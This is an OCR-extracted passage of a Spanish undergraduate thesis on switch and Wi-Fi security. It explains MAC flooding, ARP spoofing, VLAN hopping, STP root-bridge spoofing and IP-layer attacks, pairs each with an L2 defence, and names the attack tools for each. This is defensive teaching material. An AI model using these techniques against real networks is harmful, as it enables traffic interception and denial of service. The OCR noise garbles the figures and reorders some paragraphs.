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Resumen

En un mundo cada vez més informatizado (o digitalizado), los ciberataques son cada vez mas frecuentes. Es
imprescindible para cualquier institucion o empresa el conocerlos, analizarlos y estar preparados ante las
potenciales amenazas provenientes tanto del exterior como desde el interior.

Las redes de area local, pese a estar mas protegidas al estar apartadas de Internet, resultan muy sensibles a los
ataques. Aprovechando una brecha de seguridad — generalmente, provocada por el factor humano — los
ataques a estas redes pueden ser devastadores, ya que los dispositivos se encuentran practicamente conectados
unos a otros, fomentando la propagacion y/o el acceso a contenido delicado. Estos nodos normalmente suelen
estar interconectados mediante conmutadores, y son la primera linea de defensa ante los ataques desde dentro
de la red privada.

Este proyecto se centra, precisamente, en las defensas que se pueden establecer en los conmutadores de red o
puntos de acceso en el caso de redes inalambricas. Las fortificaciones planteadas estan limitadas a
funcionalidades de proteccion a nivel de enlace (L2).

Este documento recopila las vulnerabilidades de diversos protocolos, desde la capa de enlace hasta la de
aplicacion, y plantea escenarios donde replicar paso a paso los ataques que cumplan los requisitos previamente
mencionados.
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Abstract

In an increasingly computerized world, cyberattacks are more and more frequent. It is essential for institutions
and enterprises to know, analyse and be prepared for these threats that come from both inside and outside.

Local Area Networks (LAN), despite being more protected as they are isolated from the Internet, are very fragile
to attacks. Taking advantage of security breaches — generally, caused by the human factor— LAN attacks
might be devastating, since devices are practically directly connected, enhancing propagation and/or access to
sensitive information. These nodes are normally interconnected using switches, which are the first line of
defence in LANS.

This Project focuses, precisely, in defence mechanisms that can be established at switches or Access Points
(APs) in wireless networks scenarios. Proposed fortifications are limited to link-layer (L2) functionality
protections.

This document collects the vulnerabilities of diverse protocols, from L2 to application-layer, and presents
scenarios for step-by-step replication of the attacks that satisfy the aforementioned requirements.
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1 INTRODUCCION

en la sociedad, sobre todo en el mundo empresarial. Y no es para menos, ya que el dafio registrado por los

ciberataques se ha visto en un auge constante con el paso de los afios. Un informe del IC3 y el FBI [1]
muestra como las pérdidas ascienden hasta los 10.300 millones de ddlares en el afio 2022 (casi 600 veces el
coste registrado en 2001).

La ciberseguridad es, sin lugar a dudas, un tema que con el paso del tiempo se vuelve cada vez mas relevante
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Figura 1-1. Coste en millones de ddlares de los ciberataques en EE.UU. desde 2001 hasta 2022

La clara tendencia ascendente se puede ver agravada con la llegada y la popularizacion de la inteligencia
artificial. El Centro de Ciberseguridad Nacional del Reino Unido advierte, a principios de 2024, del uso actual
de esta tecnologia por parte de los atacantes, con repercusiones directas sobre el volumen y el impacto de sus
actuaciones. El reciente estudio [2] destaca que a lo largo de 2024 y 2025 se reflejaran en las amenazas a nivel
mundial, donde existira un considerable nimero de nuevos ciberdelincuentes; aquellos ya experimentados,
refinaran las técnicas empleadas para perpetrar los ataques, incluyendo el analisis de los datos recopilados por
estos.

La correcta defensa ante estos riesgos es crucial para cualquier red, principalmente a nivel corporativo. Un
descuido puede provocar el acceso a la red de la compaiiia, o incluso un atacante infiltrado puede extraer
informacion o provocar malfuncionamientos en los equipos. La seguridad de las redes de area local (LAN) son
fundamentales para evitar que una penetracion conlleve dafios cuantiosos. En los reportes anuales de Verizon
Communications [3] [4], se reflejan como los ataques internos tienen consecuencias mas graves en cuanto a la
filtracion de informacion que comparado con los ataques externos. Pese a oscilar entre un 20% y un 35% de los
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ataques registrados, el nimero de registros vulnerados por ataques internos supone una diferencia de mas del
75% en comparacion con los de los ataques externos.
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Figura 1-2. Tipo de actor en los ataques y su impacto (en registros filtrados desde 2008) [3] [4]

1.1 Objetivos

El objetivo principal de este Trabajo Fin de Grado es recopilar y reproducir, si es posible, ataques sobre
conmutadores, puntos de acceso o equipos finales interconectados por estos sobre diferentes niveles del modelo
OSI. Como bases fundamentales del proyecto se han partido de distintos TFM de alumnos de la Escuela Técnica
Superior de Ingenieria de la Universidad de Sevilla, indicando al comienzo de los apartados correspondientes
los trabajos consultados. Concretamente, el objetivo del trabajo se divide en:

1. Clasificacion y andlisis de ataques en protocolos esenciales (IP, ICMP, TCP, UDP y DNS),
identificando los ataques con objetivo y/o defensa L2.

2. Clasificacion e implementacion de ataques L2 conocidos en redes LAN (sobre los protocolos esenciales
y los protocolos 802.1Q, STP y DHCP) y redes WLAN (cifrados Wi-Fi WEP, WPA1/2/3).

3. Implementacion de un ataque compuesto, cuya finalidad sea relevante e implique multiples mecanismos
de defensa para su fortificacion.

Los ataques replicados en este documento deben ser adaptados, si procede, para no utilizar interfaces graficas.
Asimismo, los ataques deben ser defendibles por el conmutador o el punto de acceso, y se impone como
condicion que estas fortificaciones las realice un equipo L2.

1.1.1 Niveles de ataque y de defensa

A lo largo de 1a memoria, se hace referencia al nivel de ataque y de defensa de los ataques analizados, haciendo
referencia, respectivamente, al nivel del plano de datos, tanto de la victima del ataque como del elemento de
defensa empleado en la fortificacion. En términos estrictos, un conmutador LAN es un equipo L1 al no tener
direcciones MAC ni ser visible en el plano de datos. Sin embargo, los puntos de acceso (802.11) y los
conmutadores con VLAN (802.1Q) si son visibles en el plano de datos y, por tanto, son equipos L2.

El requisito para la implementacion de los ataques es que el nivel de la victima y/o de la defensa sean de nivel
L2 en el plano de datos. Por brevedad, el nivel minimo entre la victima y la defensa se considera el “nivel del
ataque” para su posterior clasificacion. Dado que el objetivo de este proyecto es analizar la seguridad en
conmutadores y puntos de acceso, es por este motivo por lo que se centra la atencion en los ataques de nivel L2.
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estudio. Después de detallar las caracteristicas de estos, se enumeran los posibles ataques, explicando qué

vulnerabilidades aprovechan, sus consecuencias y mitigaciones. Al final de cada apartado, se listan en una
tabla los ataques expuestos, remarcando el dispositivo objetivo del ataque, si es defendible por el conmutador o
punto de acceso, las herramientas en linea disponibles para ello y si ya han sido realizados en TFM anteriores.

En este capitulo se explican, agrupados por capas del modelo OSI, las bases de los protocolos objetos de

2.1 Protocolos de capa enlace

La segunda capa del modelo OSI se encarga del transporte de tramas —unidad minima de este nivel— de manera
fiable, punto a punto o multipunto. En este apartado se analizan los protocolos y ataques recogidos en la
“Memoria del moédulo de seguridad LAN del Master en seguridad de la informacion y las comunicaciones de la
Universidad de Sevilla” [5] y en el TFM “Analisis y aplicacion de técnicas de hacking y defensa sobre
conmutadores de red” [6].

211 Medium Access Control (MAC)

Definido en los estandares IEEE 802 LAN/MAN [7], el control de acceso al medio (MAC, por sus siglas en
inglés) es el conjunto de mecanismos y protocolo de comunicaciones que permite a varios dispositivos
interconectados entre si compartir el acceso al medio. Junto con el control de enlace l6gico (Logical Link
Control, LLC), ambos conforman el nivel de enlace del modelo OSI (L2). Ademas del control del acceso al
medio, la subcapa MAC realiza funciones de direccionamiento local, delimitacion de las tramas y deteccion y
correccion de errores de transmision, si procede.

Las direcciones MAC, denominadas EUI-48, se componen de 48 bits (6 octetos) y estan presentes en la mayoria
de tecnologias de red definidas por el estandar IEEE 802, como Ethernet, Wi-Fi o Bluetooth. Generalmente, se
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representan en hexadecimal separando cada octeto por ‘-’ o *:’, y su formato se muestra a continuacion:

-4 6 octets -

1st octet | 2nd octet | 3rd octet | 4th octet | 5th octet | 6th octet

or
-4 3 octets g 3 octets=——p
Organisationally Unique Network Interface Controller
Identifier (OUI) (NIC) Spedcific

8 bits
b7 b6 |b5|b4|b3|b2]|bl|bO

L 0: unicast

1: multicast

0: globally unique (OUI enforced)
1: locally administered

Figura 2-1. Formato de las direcciones EUI-48 [8]
Los 6 octetos se subdividen en dos grupos:

o Organisationally Unique Identifier (OUI): son los 3 primeros octetos de la direccion MAC. Los dos
primeros bits b0 y b1 identifican si el direccionamiento es unicast (b0=0) o multicast (b0=1), y si la
direccion es universalmente administrada por el fabricante (b1=0) o administrada localmente (b1=1).

e Network Interface Controller (NIC): se corresponden con los 3 tltimos octetos del formato EUI-48.
Para un mismo OU], los tltimos octetos permiten diferenciar inequivocamente a las interfaces.

Como se muestra en la Figura 2-2, en una trama Ethernet las direcciones MAC se ubican al comienzo de esta,
identificando al destino y al origen:

\ 4

<
«

46 to 1500
7 byte 1 byte 6 byte 6 byte 2 byte byte 4 byte

Figura 2-2. Ubicacion de las direcciones MAC en una trama Ethernet

En los conmutadores de red, las direcciones MAC son aprendidas dinamicamente a la llegada de tramas o
paquetes por sus puertos. Las tablas MAC asocian estas direcciones a un puerto, y mediante la consulta de esta
tabla se lleva a cabo la conmutacion. En caso de no existir un puerto asociado a la MAC destino, el conmutador
difunde la trama.

2111  Ataques sobre MAC

El aprendizaje de las direcciones MAC en el conmutador de red es dindmico y esta limitado a la memoria
reservada para ello. Si bien estas direcciones deben ser tnicas en su entorno y, en algunos casos, estan fijadas

4
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por el propio fabricante, esto no impide la falsificacion y/o alteracion de las direcciones MAC por parte de los
usuarios.

2.1.1.1.1 Inundacién MAC

La memoria caché destinada al aprendizaje de las direcciones MAC en los conmutadores es finita. Por lo tanto,
un conmutador puede aprender un ntimero limitado de direcciones asociadas a los distintos puertos del
dispositivo. Un atacante puede inundar la red con diferentes MAC origen y conseguir saturar la memoria del
conmutador debido a su constante aprendizaje, eliminando las antiguas entradas existentes. Ademas de llenar la
memoria del conmutador, las direcciones inventadas que ha forjado el atacante, estadisticamente no se
corresponden con ninguna direccion de los equipos interconectados. Por lo tanto, ante la llegada de un nuevo
mensaje, el conmutador actia difundiéndolo por los puertos activos, permitiendo un sziffing de la red.

Nivel de la Justificacion
Victima L2 La victima es el conmutador de red (L2)
Defensa L2 La defensa se basa en la limitacion del nimero de direcciones MAC aprendidas por
cada puerto del conmutador (L2), evitando la saturacion de la tabla MAC.

Figura 2-3. Nivel de victima y defensa, y su justificacion en ataque de Inundacion MAC
2.1.1.1.2  Suplantacién MAC

En la tabla MAC del conmutador se asocia la direccion MAC con un puerto concreto. Al ser direcciones unicas
en el entorno, esta relacion debe ser tinica. En caso de que llegase una trama con una direccion MAC origen ya
asociada a un puerto, el conmutador actualiza la entrada con el nuevo puerto origen. Este comportamiento puede
ser aprovechado por un atacante cambiando su direccion MAC por la de un equipo de la red. Asi, mediante un
envio constante de mensajes con la direccion MAC suplantada, el conmutador guarda en su tabla MAC la nueva
relacion MAC-Puerto. Si un equipo intentase comunicarse con el dispositivo suplantado, el conmutador dirige
el trafico al equipo atacante, acorde a su tabla MAC.

Nivel de la Justificacion
Victima L2 La victima es el conmutador de red (L2)
La defensa se basa en la asignacion estricta de las direcciones MAC de los
Defensa L2 . o, .
dispositivos interconectados a sus puertos correspondientes (L2)

Figura 2-4. Nivel de victima y defensa, y su justificacion en ataque de Suplantacion MAC

21.2 Address Resolution Protocol (ARP)

Tal y como se define en la RFC 826 [9], el protocolo ARP permite descubrir las direcciones de la capa de enlace
asociada a su correspondiente direccion de red (comunmente, direcciones MAC e P, respectivamente). Es decir,
la principal funcion de ARP es mapear las direcciones IP destino (conocida por el nodo origen) a su
correspondiente direccion MAC destino (desconocida a priori).
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32 hirs
B hits & hiis 14 hits o
Hardwarz Typs Protecol Type
Hardware Protacal Operation
lengih lzngth Fegoest I, Reply 2

Sender hardware address
(For exampls, § bytes for Ethernet)

Sender protocol address
(For example, 4 bytes for IF)

Target hardware address
(For example, § bytes for Ethernet]
(It is oot filled in a regquest)

Target protocol address
(For example, 4 bytes for IF)

Figura 2-5. Formato de la cabecera del protocolo ARP [10]
La Figura 2-5 muestra el contenido de la cabecera ARP, formada por 9 campos:

e Hardware Type y Hardware length: identifican el protocolo de la direccion fisica y la longitud de la
direccion. En el caso de las direcciones MAC, se corresponderian con los valores ‘1’ y ‘6°.

e Protocol Type y Protocol length: de manera analoga, estos campos identifican qué protocolo de red esta
solicitando la direccion fisica. De ser direcciones IPv4, los campos toman los valores ‘0x0800° y ‘4’.

o Operation: las peticiones ARP se identifican mediante ‘1°, mientras que las respuestas ARP, con 2’.

o Sender hardware address y Sender protocol address: identifican las direcciones de enlace y de red del
origen

o Target hardware address y target protocol address: son los campos que identifican al destino. Al
desconocerse la direccion fisica del receptor en las peticiones ARP, el campo target hardware address
se rellena con ‘0.

De esta forma, mediante el uso de ARP, los equipos de una subred pueden enviar paquetes de red a su destino o
siguiente salto, averiguar si hay equipos con la misma direccion IP que la del origen (ARP probe) o anunciar la
existencia del equipo origen a la red (gratuitous ARP).

21.21  Ataques sobre ARP

El protocolo ARP no tiene métodos o mecanismos para autenticar las respuestas ARP, caracteristica que un
atacante puede tomar para su beneficio.

2.1.21.1 Suplantacion ARP

Un atacante puede envenenar la tabla ARP de la victima o victimas para su beneficio. Enviando respuestas ARP
con los campos apropiados, el atacante puede posicionarse en medio de la comunicacion entre dos nodos. En
estos mensajes, el atacante dirige una respuesta ARP con su propia direccion MAC, pero con la direccion IP
correspondiente al nodo contrario, almacenandose en la tabla ARP. Las consecuencias de una suplantacion ARP
pueden ser una denegacion del servicio (DoS) o llevar a cabo un ataque Man-in-the-Middle (MitM), capturando
el trafico entre los nodos.
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Nivel de la Justificacion
Victima L3 La victima es cualquier equipo con direccion IP (L3)
La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L2)

Figura 2-6. Nivel de victima y defensa, y su justificacion en ataque de Suplantacion ARP

21.3 |EEE 802.1Q

El protocolo IEEE 802.1Q permite, dentro de un enlace Ethernet, la creacion de subredes virtuales (VLANS)
mediante etiquetado. Este nuevo campo en la trama es comunmente denominado etiqueta VLAN, y afade 32
bits a la trama Ethernet, de los cuales:

e 16 se usan para identifican al protocolo IEEE 802.1Q (0x8100),

e 3 se destinan para indicar distintos niveles de prioridad de la trama,

e 1 esun bit candnico que en tramas Ethernet siempre vaa 0, y

e 12 identifican la VLAN (VID, por sus siglas en inglés).

Preamble SFD Destination MAC Source MAC Size Payload CRC/FCS Inter Frame Gap

EtherType,

120345 ]6f7[81f2]3fafs5f6J1fa]3fa]s 6]afafa] . | .Inji1f2]3[a]1({2]3[4]5]6]7]8[0]J10[11]12

n=46-1500

EtherType

Preamble SFD Destination MAC Source MAC 802.1Q Header Size Payload CRC/FCS Inter Frame Gap

11213[afs(6l7]8f1Jaf3lalsfefalof3(afsl6lalaf3falafoafaf [ 1 Tnfafof3fafifof[3]alsfe {7180 10f11[12

TP\D:DXH]O[)I PCP/DEIVID n=142-1500

Figura 2-7. Insercion de la etiqueta VLAN en una trama Ethernet [11]

De esta forma, en una red interconectada por puentes que soportan este etiquetado, el espacio puede ser dividido
usando 12 bits especificos para ello. Quitando los valores reservados (0x000, 0xFFF), se pueden obtener hasta
4094 VLANSs o subredes virtualmente separadas unas de otras. Los conmutadores, segiin su configuracion en
cada puerto, pueden afiadir o quitar las etiquetas dependiendo de si el puerto esta configurado como tagged o
untagged, respectivamente. Esto es especialmente util en entornos donde las VLANSs estan interconectadas por
mas de un conmutador.

Como se puede observar en la Figura 2-8., los puertos que conectan el enlace entre conmutadores estan
configurados como tagged, insertando la etiqueta asignada a la VLAN 10 o 20; por otra parte, los puertos
conectados a los ordenadores o equipos finales son untagged, y al salir por el puerto correspondiente, se retira
la etiqueta en caso de que la hubiera antes de entregar la trama. Cabe mencionar que un enlace en el que viajan
tramas de diferentes VLANSs es denominado trunk.
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VLAN10 VLAN10
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192,168.1.0/24 192.168.1.0/24

Figura 2-8. Escenario con dos VLANSs y frunk entre conmutadores

Las 4094 subredes que oftrece el protocolo 802.1Q son mas adecuadas para entornos pequefios y medianos. Sin
embargo, el espectro resulta insuficiente a gran escala, como por ejemplo en los servicios de operadoras que
permiten conectar VLANs de diferentes empresas en territorio nacional. A raiz de esta necesidad surgio el
protocolo 802.1ad, también conocido como Q-in-Q, ya que esencialmente apila una etiqueta 802.1Q. Si bien su
identificador de protocolo difiere del 802.1Q (0x88a8), el resto de campos son completamente equivalentes. El
doble etiquetado amplia considerablemente el numero de subredes al duplicar el nimero de bits por la
combinacion de los campos VID.

Etherfype/
Preamble ﬁ Destination MAC Source MAC Size Payload CRC/FCS Inter Frame Gap
Lil2]3]afs5]6]7]8]1]2 E|4|5|'3 1]2]3]4]516 1T2 a1 ]2]3]4 ]|2|3|4|ET6\7|B|9|10|11|12|
N = 451501
| EtherType]
Preamble SFD) Destination MAC Source MAC 802.1Q Header Size Payload CRC /FCS nter Frame Gap
| N FE =N N G A B G B N G A N B 6 O O G B B N S R N S G R D A
10=0:104 PCRDEWVID. n= 42-150]
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Figura 2-9. Comparativa entre tramas Ethernet sin etiqueta, con etiqueta y doble etiqueta [12]

21.31  Ataques sobre IEEE 802.1Q

En escenarios donde coexistan equipos que procesan las etiquetas VLAN y no, es necesario establecer una
VLAN por defecto o nativa para no perder tramas etiquetadas. El uso de #runks con VLANS nativas es una
vulnerabilidad aprovechable por un atacante que conozca la topologia.

2.1.3.1.1 Salto de VLAN 802.1Q

Una trama doblemente etiquetada puede saltar desde una VLAN nativa (untagged, sin etiquetar) origen hacia
otra VLAN etiquetada en un trunk. Para realizarlo, la etiqueta mas superficial se debe corresponder con la VLAN
nativa, de forma que al salir del primer conmutador se elimina por ser un puerto untagged. Al llegar al segundo
conmutador, solo llega con una etiqueta, la més interna, y la envia por aquel puerto o puertos pertenecientes a la
VLAN correspondiente. La Figura 2-10 muestra un ejemplo grafico del proceso de desetiquetado de una trama
en cada conmutador.
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VLAN 30 UNTAGGED
VLAN 20 TAGGED

-

P20
Figura 2-10. Ejemplo de envio de una trama Ethernet que realiza un salto de VLAN

Por si mismo, este ataque no afecta directamente a ninglin equipo, pero puede ser utilizado para llevar a cabo un
ataque a una VLAN a priori protegida o apartada. Como resultado, se logra una comunicacion unidireccional
entre el atacante y la victima. Este ataque solo es posible en las topologias con trunks y VLAN nativa o por
defecto.

Nivel de la Justificacion

La victima son los conmutadores de red (L.2) interconectados mediante un trunk con

Victima L2 VLAN nativa

La defensa se basa en eliminar la VLAN nativa (L2) del frunk para evitar que los

Defensa L2 equipos esquiven la separacion logica formada por las VLANs

Tabla 2-1. Nivel de victima y defensa, y su justificacion en ataque Salto de VLAN 802.1Q

2.1.4 Spanning Tree Protocol (STP)

Definido en el estandar IEEE 802.1d, STP permite de forma autonoma que una red formada por puentes elimine
los bucles fisicos. Por la logica que siguen los puentes y la inexistencia de algiin campo en Ethernet que pueda
ayudar a controlar los bucles, una trama que entre en uno sera reenviando indefinidamente entre los distintos
puentes que lo conformen. Ejecutando STP en dichos equipos, los enlaces redundantes pasaran a un estado de
bloqueo, dejando una estructura arborea libre de bucles, tal y como se muestra en la Figura 2-11 a continuacion.

N

Figura 2-11. Red de puentes antes y después de ejecutar STP [13]

Un equipo que ejecuta STP intercambia BPDUs con los equipos adyacentes para determinar qué enlaces deben
ser bloqueados y cudles no (Control BPDUs), y para anunciar cambios topolégicos (Topology Change BPDUs).
Los campos contenidos en las CBPDUs que permiten determinar los enlaces a bloquear, en orden de mayor a
menor prioridad, son:

o Identificador de puente raiz (Root Bridge Identifier)
o Coste al puente raiz (Root Bridge Path Cost)
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e Identificador del puente emisor (Sender Bridge Identifier)
o Identificador del puerto emisor (Sender Port Identifier)

En cada nivel, cuanto menor sea el valor del campo, mas prioritario es. De esta forma, a partir del identificador
de cada puente y tras una serie de iteraciones, se consigue una topologia estable. La convergencia del algoritmo
de STP es considerablemente lenta, del orden de segundos o decenas de segundos, y hasta que no finaliza el
proceso toda trama que no sea una BPDU se descarta. Finalmente, los puertos no bloqueados se denominan
puerto raiz, en caso de que se dirijan hacia el puente raiz, o designado en caso contrario.

| DMAC | SMAC |Len_qch| LLC Payload CRC |

Protocol Identifier \
Protocol Version |dentifier
BPDU Type
Flags
Root |ldentifier
Root Path Cost
Bridge Identifier
Port |dentifier
Message Age
Max Age
Hello Time
Forward Delay

Figura 2-12. Estructura de una BPDU

2141 Ataques sobre STP

Los equipos que ejecutan STP confian en la legitimidad de las BPDUs compartidas entre estos. No existe un
mecanismo de seguridad en el protocolo, por lo que un equipo malicioso puede crear BPDUs malignas con
distintos propdsitos.

2.1.4.1.1 Inundacién de TCBPDU

En un escenario con puentes que ejecutan STP, a la llegada de una BPDU con el bit TC activado, los dispositivos
deben recalcular su nueva topologia para amoldarse a este cambio. Durante este proceso de reconfiguracion, los
dispositivos no pueden reenviar las tramas entrantes, ya que no se puede garantizar la inexistencia de bucles. Por
tanto, el tiempo en el que la topologia es inestable, se descarta cualquier trama que no se corresponda con una
BPDU. Este proceso es considerablemente lento, pudiendo tardar decenas de segundos. En esta circunstancia,
en un ataque de inundacion de TCBPDU, un atacante bloquea completamente la red al enviar periddicamente
estos mensajes, dejando incomunicados a los equipos interconectados y obteniendo una denegacion de servicio
de la red. La tinica forma de poder contrarrestar este tipo de inundacion es limitando los puertos por los que los
conmutadores aceptan trafico de BPDUs o TCBPDUE .

Nivel de la Justificacion

Victima L2 La victima son los conmutadores de red que ejecutan STP (L2)

La defensa se basa en la limitacion del trafico de BPDUs segtin el puerto de entrada

Defensa L2 del propio conmutador (L2)

Tabla 2-2. Nivel de victima y defensa, y su justificacion en ataque Inundacion de TCBPDU
2.1.4.1.2 Suplantacidn del puente raiz

El principal factor para considerar un puente el puente raiz de la topologia radica en la arbitrariedad, esto es, que
su identificador sea menor que el resto de los equipos tal y como se explica en el apartado 2.1.4. Basta con enviar
una BPDU con un identificador de puente raiz lo suficientemente pequeiio para que el equipo del atacante se
convierta en el nodo principal de la topologia. Dependiendo de las intenciones del atacante, el resultado de este
ataque puede ser la incomunicacion de los equipos conectados, o bien actuar como un conmutador y ganar

10
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acceso al trafico, pasando desapercibido para los usuarios. Esto tltimo se conoce como ataque de intermediario,
mas comtinmente conocido por su nombre en inglés: Man-in-the-Middle (MitM). Al igual que el ataque anterior,
para evitarlo es necesario especificar qué puertos del conmutador pueden recibir BPDUs.

o]

B

[ | [ |
iz AZFETN
Figura 2-13. Atacante modificando la topologia de la red tras suplantar el puente raiz
Nivel de la Justificacion

Victima L2 La victima son los conmutadores de red que ejecutan STP (L2)
La defensa se basa en la limitacion del trafico de BPDUs segtin el puerto de entrada

Defensa L2 .
del propio conmutador (L2)

Tabla 2-3. Nivel de victima y defensa, y su justificacion en ataque Suplantacion del puente raiz

2.1.5 Sumario de ataques de capa enlace

Nivel (Defendible Herramientas (Implementado
Ataque Objetivo victima/defensa en Consecuencias de atague en otro
Nivel ataque® | conmutador? d TFG/TFM?
Si
Limitar las
Inundacion L2/L2 direcci
Conmutador 1recciones Sniffin macof No
MAC [5] Lo MAC iffing
aprendidas
en puertos
Si
Suplantacion L2/1.2 A_SOCi?r las ) ip,
MAC [5] Conmutador - direcciones | DoS, sniffing macchanger No
MAC en
puertos
Si
Suplantacion . L3/L2 Asociar IP- . ettercap,
ARP [5] Equipo final - MAC- DoS, MitM arpspoof No
VLAN-
Puerto

1 Como se menciona en el apartado 1.1.1, el “nivel del ataque” es el nivel del modelo OSI minimo entre el plano de datos de la victima y el de

la defensa.
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Nivel (Defendible Herramientas (Implementado
Ataque Objetivo | victima/defensa en Consecuencias de atacme en otro
Nivel ataque? | conmutador? q TFG/TFM?
Si
Salto de . L2/L2 No usar Intrusion en . ]
VLAN [14] Equipo final - VLAN VLAN hping3 Si[6]
nativa
Inundacion L2/L2 Si
de TCBPDU | Conmutador Proteccién DoS yersinia Si[6]
[15] L2 BPDU
Suplantacion L2/L2 Si
del puente | Conmutador Proteccién | DoS, MitM yersinia Si[6]
raiz [15] L2 BPDU

Tabla 2-4. Resumen de los ataques de capa enlace

2.2 Protocolos de capa red

El tercer nivel del modelo OSI se corresponde con la capa de red, y es la encargada, principalmente, del
encaminamiento ¢ integracion de subredes mediante segmentacion y reensamblado. A diferencia de la capa
inmediatamente inferior, el destinatario de los mensajes (paquetes) pueden no estar conectados directamente al
emisor; el enrutamiento permite pasar por los nodos intermedios necesarios hasta llegar al equipo final. Las
direcciones de red, en su amplia mayoria, se definen basandose en el protocolo IPv4. Complementariamente, el
protocolo ICMP(v4) afiade informacion de control sobre IPv4 que pueden alterar o alertar sobre el
comportamiento de la red. En esta seccion se analizan los posibles ataques y vulnerabilidades de ambos
protocolos mencionados. Los ataques recogidos en este apartado parten de los documentados en [16].

2.21 Internet Protocol (IP) v4

Definido originalmente en la RFC 791, IPv4 permite mover datagramas a través de un conjunto de redes
interconectadas [17]. Las direcciones IPv4 son los campos clave para el enrutamiento de los paquetes. Los
equipos que lo implementan se identifican con una direccion de 32 bits, representandose generalmente en
decimal y separando cada octeto por un punto. Las redes a las que pertenecen los dispositivos comparten tantos
bits como indican en la mascara determinada por el administrador de esta. Se pueden crear subredes a partir de
una red mediante el fraccionamiento de su espacio, aumentando el tamafio de la méscara para subdividir la red.
De esta forma, las direcciones IPv4 son jerarquicas y no geograficas. La notacién CIDR de las direcciones son
de la forma XXX XXX XXX.XXX/YY, donde las ‘X’ son los numeros de la direccion IP del equipo o de la
red, y las ‘Y’ la mascara de la red.

2 Como se menciona en el apartado 1.1.1, el “nivel del ataque” es el nivel del modelo OSI minimo entre el plano de datos de la victima y el de
la defensa.
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(=3

B,
=

100202 10.1.0.0/24

10.1.0.10/24

Figura 2-14. Escenario de una red privada con direcciones CIDR

La integracion de subredes se consigue mediante la fragmentacion de los paquetes en el origen y el reensamblado
de los mismos en el destino. De esta forma, si un paquete con un tamaiio mayor a la MTU permitida en el enlace,
tiene lugar el proceso de fragmentacion. Si no se indica lo contrario en la cabecera, el paquete se divide en tantas
partes sean necesarias, y los campos identification, offset y flag MF posibilitan el reensamblado. Como se
muestra en la Figura 2-15, estos campos mencionados se corresponden con:

e Identification: identifica los datos encapsulados previo al fragmentado. Un paquete que es sometido a
este proceso comparte valor con el resto de los fragmentos.

e  Flags: salvo el primer bit reservado a 0, los otros dos avisan al nodo emisor si puede o no fragmentar
los datos (Don’t Fragment, DF) y al nodo receptor de si hay otros fragmentos por ensamblar (More
Fragments, MF).

e Fragment Offset: mide la posicion del fragmento en unidades de 8 octetos.

a 1 2 3
@12345e67 82012345667 82812345067832al
R e st e T S S ek St S TR S S e
|Wersion| IHL |Type of Service| Total Length
T g S S S
[ Identification |Flags | Fragment Offset

s T T T S o Tt e T T e . o e
| Time to Live | Frotocol | Header Checksum

e e s T T S e Tt o R I B St S SR S
| Source Address

R e st e T S S ek St S TR S S e
| Destination Address
T g S S S S S
[ Options | Padding [
s T T T e o Tt e o T e e T T e

Figura 2-15. Esquema ASCII de la cabecera [Pv4

Otros campos destacables de la cabecera IPv4 son el Time to Live, que decrece con cada salto y se descarta el
paquete cuando llega a 0 para evitar bucles, y Protocol, que de forma similar al Ethertype determina el protocolo
encapsulado.

2211  Ataques sobre IPv4

La manipulacion de ciertos campos en las cabeceras IPv4 pueden desencadenar degradaciones en el servicio o
engarfiar a la red para dirigir trafico a una victima en la red.

13
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2.2.1.1.1  IP Spoofing

Un atacante puede suplantar a otro equipo modificando la direccion origen de los paquetes IP (nivel L3). Aunque
no tiene un impacto directo por si mismo, la falsificacién de la direccion origen es la base de un nimero
considerable de ataques, normalmente fingiendo ser equipos intermedios o servidores. Por tanto, los resultados
de una suplantacion [P son muy variados. Para impedirlo, es necesario establecer mecanismos de defensa en los
equipos intermedios, relacionando las direcciones IP con otros campos (direccion MAC, puerto de entrada, etc.)
y asi detectar la suplantacion. En ataques posteriores se documentan varios ejemplos que se fundamentan en el
1P Spoofing, y se pueden identificar en las tablas resumen por el mecanismo previamente mencionado (defensa
del ataque basada en la asociacion IP-MAC-VLAN-Puerto, mecanismo de nivel L.2).

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-5. Nivel de victima y defensa, y su justificacion en ataque IP Spoofing
2.2.1.1.2 Ataque de fragmentacion IP

Computacionalmente, el proceso de fragmentacion y reensamblado es costoso. Ademas, en conjuncién con otros
protocolos de nivel superior, los resultados en los equipos reensambladores se potencian. Ejecutado de manera
individual, una inundacion con este tipo de paquetes de nivel L3 puede acarrear una degradacion en la calidad
de la red, consumiendo recursos adicionales que al procesar trafico sin fragmentar. Habitualmente, los equipos
intermedios de capa red/L3 (como los enrutadores) suelen implementar reglas que, al inspeccionar el trafico,
descartan los paquetes fragmentados.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion [P (L3)

La defensa se basa en la inspeccion de elementos de la capa de red (L3), funcionalidad
Defensa L3 adicional que el conmutador carece, necesitando un ruter, cortafuegos u otro elemento
de nivel L3.

Tabla 2-6. Nivel de victima y defensa, y su justificacion en ataque de fragmentacion IP

2.2.2 Internet Control Message Protocol (ICMP) v4

Como se comenta en la introduccion de este capitulo, el propodsito de ICMP [18] es permitir una comunicacion
entre origen y destino con fines de control. ICMP se apoya en el protocolo IP como si fuera de nivel superior,
identificandose con el campo protocol con valor 1; no obstante, este protocolo es una parte integral de IP y debe
ser implementado en cada modulo.

a 2 3

1234587885 1234567 8%812345687 85808l
T g S S S S S
| Type Code | Checksum |
T g 1 S S S S S

1
a

Figura 2-16. Fragmento comtn de la cabecera ICMPv4

Sin tener en consideracion los datos encapsulados, la Figura 2-16 muestra la estructura de la cabecera ICMP que
todos sus mensajes comparten entre si. Se destacan los campos:

e  Type: distingue los mensajes ICMP entre si y determina el contenido del resto de datos para su adecuada

14
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interpretacion

e  Code: para un mensaje ICMP con #ype determinado, el valor definido en este campo afiade informacion
extra segun el caso que corresponda

Por ejemplo, para comprobar la correcta comunicacion entre puntos, un equipo origen puede mandar un mensaje
ICMP Echo Request (tipo 8), esperando como respuesta un ICMP Echo Reply (tipo 0) por parte del destino.
Otro caso puede ser cuando un equipo recibe un datagrama demasiado grande y debe ser fragmentado, pero en
la cabecera IP la bandera DF est4 activa; en este caso, el equipo devuelve al origen un mensaje tipo 3 y cddigo
4 para indicar al origen de este conflicto y que tome las medidas oportunas. Una explicacion mas exhaustiva de
